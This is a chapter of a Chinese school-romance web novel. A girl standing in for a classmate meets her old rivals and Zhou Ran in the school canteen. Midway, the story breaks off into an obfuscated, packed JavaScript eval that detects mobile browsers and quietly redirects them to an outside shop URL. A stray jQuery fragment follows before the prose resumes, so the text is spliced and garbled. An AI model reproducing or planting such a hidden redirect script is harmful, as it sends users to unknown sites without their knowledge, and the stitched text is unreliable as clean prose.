短短一个上午,七班来了个漂亮转学生的事就传遍了整个高二。
总有好事者趁着下课的功夫,扒着窗沿来探出脑袋,好奇这转学生到底长什么样。
“确实好看。”
“哥,你不会就一眼爱上了吧?”
“那……肯定没这么草率,让我再多看几眼。”
一直到中午,代芝花成功替周瞭停收录了英语课,语文课和数学课。
坐在前排,也不妨碍她打瞌睡。
周瞭停这位置虽然靠前,却实在安全,以往老师都很放心坐在这个位置上的原主人,所以习惯了不往这个方向看。
上午最后一节课的下课铃声打响。
代芝花伸了个懒腰,抬起头,就碰上不远处朝她这里看过来的葛明珍。
“需要我带着你去食堂吗?”
葛明珍捧着要交到办公室去的作业,全班四十几人的作业本都堆在她怀里,小小的身影被压得都快看不到人了。
代芝花走过去主动帮她分担了一点。
葛明珍愣了一下:“谢谢。”
办公室就在要去食堂的那条道上,都是顺路过去的。
饭铃打响,全校学生都被分成了三批,一批是急匆匆跑去食堂的,生怕吃不上饭;一批是慢悠悠走过去的,压根不担心要排多长的队;还有一批是打算错过这段时间,先待在教室写会儿作业的。
两人抱着作业挤在人堆里,碰上的就是上面第二批人,第一批早已经冲到食堂了。
为了交作业,耽误了人饭点,葛明珍有点过意不去,就自顾自找起了话题。
“这里有两个食堂,一个在南,一个在北。不过我觉得北食堂更好吃,但是北食堂离我们的教学楼远,我们这栋楼一般都是去南食堂。”
“北食堂的面是出了名的香,尤其是里面的牛肉面,肉也多,价格实惠。南食堂的话,鸡腿饭还可以,这个食堂就是菜会比北食堂多一点,不过我觉得味道远远不如北食堂……”
代芝花震惊于自己向来沉默寡言的同桌,竟然能喋喋不休讲这么多。
交完作业,葛明珍拽着代芝花往北食堂赶,正好汇入从另一幢楼里窸窸窣窣走出来的人群。
高二两栋楼,文科班一栋,理科班一栋,前者在北,后者在南,因此北食堂多是文科班的学生。
注意到旁边的代芝花越走越慢,葛明珍以为是对方不舒服,赶紧靠边问:“你怎么了?”
“啊?”代芝花一脸茫然。
“我看你脸色不太好。”
代芝花扭过头,两颗眼睛又黑又亮,像是吃桂圆吐出来的核,白皙的面庞上沁出晶莹的汗珠,汗水一路往下流,滑落到有些干裂的嘴唇上。
“我没事。”
她走到旁边的阴地里,借头顶的树挡住灼热的太阳光。
葛明珍以为她是怕晒,轻声安慰道:“很快就到了。”
走进食堂,上方吹下来的空调风让人只觉一阵清凉,葛明珍舒爽地绽开笑容,余光却瞥见代芝花还紧皱着眉头。
此刻,代芝花心里七上八下的,放眼望去挤在食堂里密密匝匝的人,跟蚂蚁搬家似的,几个窗口前聚了一堆人,还在往前涌。
不会那么凑巧吧?
她叹了口气,又觉得自己实在可笑。
遇见了又怎样?要怕,也应该是对方感到害怕。
她害怕算什么?
代芝花跟着葛明珍往前挤。
“一号窗口打饭的阿姨速度最快。”
葛明珍在前给她开道,不忘回头传输真正的镇中生活“秘诀”。
“二号窗口打饭慢,但是阿姨不手抖。”
“要速度选一,量大选二,点素食选一,点肉食选二。”
代芝花听着,心里不禁都有些佩服葛明珍了,这都能被她找出规律。
果然,一号窗口明显比其他几条道速度快得多,旁边还在龟爬的时候,排一号的队伍正闷声不吭往前进发。
葛明珍一脸得意地朝她展示自己的预判结果,代芝花由衷地为她竖起一个大拇指。
打完饭,转头的功夫,刚还在前面的葛明珍一下子没入人堆里不见了,代芝花左看右看没找到人。
戴粗框黑眼镜的副班长没看到,倒是迎面碰上了自己最不想看到的人。
真是怕的不来,来的不怕。
姜莱被几个小姐妹簇拥着往一号窗口走来,似是说到了什么好笑的事,几个人突然你推我、我推你发出尖利刺耳的笑声。
姜莱笑得眼睛都眯成了两道缝,甜美的笑容在和代芝花对上视线的那一刻,骤然僵成石塑。
她不敢置信地瞪大了双眼,两腿跟灌了铅似的站在原地一动不动。
“你怎么了?喂!姜莱!”
姜莱被人重重一推,这时候才反应过来,往前走了几步,两只眼睛却依旧死死锁着那道纤瘦的背影。
代芝花也看到了姜莱,但是她根本不在乎。
知道她没化妆的素颜的几个初中同学,都是文科班的,能在这里碰到本来就是大概率事件,此前,走来食堂的这段路上,她已经给自己做好了心里建设。
认出来就认出来吧。
反正她就是来帮周瞭停上几天课。
只是暂时的。
很快就离开这里了。
代芝花一转身,没想到又撞上不远处混在人堆里依旧亮眼的颀长身影。
——周然。
代芝花肉眼可见地拉下脸来,迅速调转方向,朝另一边疾步走去。
走出没几步,端饭的一条胳膊就被人从后面拽住。
她没穿校服,身处这入目皆是蓝白校服的人群里,就跟黑墨水里的一点白一样,可想而知有多显眼。
她现在后悔了,当初不该草率答应周瞭停的。
早知如此,她宁愿替周瞭停担负二分之一的医药费。
“代芝花?”
好在他说话的声音够轻,没让别人听见。
身后的少年固执地拽着她,不让她走。
代芝花停下脚步,却没有回头,手上端着的餐盘因为方才小幅度的拽动,汤汁都浇到了饭上。
躲不过去了。
现在的她,在周然,在姜莱眼里,就跟缩头乌龟,跟把头埋在土里的鸵鸟一样滑稽可笑吧。
逃避,总是逃避。
少年人那张相当优越好看的面孔此刻带着忧伤难言的情绪,穿过人群,只为了留住一个女生。
这样一幕,落到有心人的眼里,一下子就引发了骚动。本就枯燥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17866917|212217||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的校园生活,巴不得抓着点风吹草动,嚼住了碾碎了说。
“我靠,那个,那个,是不是二班的周然啊,他怎么拉着一个女生的手啊!”
“是不是他们班的姜莱啊,姜莱喜欢周然,不是众所周知的事,两个人经常黏在一起。”
“不是,这个女生我没见过,不是姜莱,长得怪好看的,这副长相我要是见过,不应该没印象啊。”
“唉?看着像是七班那个转学生。是不是?那个转学生,今天我还听到五班在讨论七班新来的女生。”
耳边像有一群吵闹的苍蝇嗡嗡嗡地叫,这让代芝花感觉很不舒服,她又一次被推上风口浪尖,站在聚光灯之下,谁都可以指着她说几句,谁都可以戳着她的脊梁骨破口大骂。
而这一切的始作俑者……居然戏剧性地来自同一个人。
代芝花抽回胳膊,发现没挣动,身后拽着自己的那股力道不算重,但意外的执着,似乎生怕她再逃走。
她“啧”了一声,冷冷开口:
“你确定要在这里跟我说话吗?”
牵制自己脚步的力道一松开,代芝花就不耐烦地朝前走去。身后那人亦步亦趋跟在后面,像是甩不掉的影子。
代芝花心里燃起一团火,不上不下地,想要发泄出去,但是对着后面这人,火再大都没用,朝他发脾气无异于一拳打在棉花上。
她微微偏头:“别再跟着我了,放学我会去找你的。”
这话一出,那道拖出来的长影才像一下子找到了方向一样,不再没目标地跟着她。
“我等你。”
落下这句后,周然才后退几步。
线,断了。
二人背靠背,越走越远。
吃完饭的代芝花,回到教室里。
葛明珍已经坐到自己的位置上,开始写今天布置的作业。
代芝花一吃饭,就开始晕碳,想睡觉,她趴在桌子上,脑袋枕着胳膊,午休铃声还没打响,她比谁都先一步进入梦乡。
“这一动就困的样子,还真像代芝花。”有走在过道上的人见状。
代芝花抬起胳膊,捂住两只耳朵,她心里烦得要死,教室也跟着炸开了锅,不知道是不是代芝花的心理作用,感觉时不时有人在讨论周然和自己。
还要感谢过去太过疲惫的人生,导致她对睡眠总是怀有崇高的敬畏心,一闭上眼,脑子里就自发地扫荡出所有东西。
这一觉,一直睡到下午第二节课。
上面一节是音乐课,迷迷糊糊中有人叫过她,不过她不想起来,也不想去。
离放学还有一节课,代芝花早就已经坐回到原来的位置,最后一排,靠近后门,可以铃声一响就冲出门外,当然,也可以提前几分钟悄摸摸溜走。
说什么放学去找周然,都是骗他的话。
等个屁,她有什么好跟他聊的,也不知道对方哪来的脸再来找自己的。
代芝花心里骂骂咧咧的,从抽屉里拉出自己的小皮包,就头也不回地冲出后门,结果只顾着猛冲了,前面有人,她来不及刹车,脑袋一猛子撞上前面这人硬邦邦的胸膛。
差点没给她撞得眼冒金星。
代芝花扶着脑袋,就对上周然那张脸。
差点没当着人的面呕出来。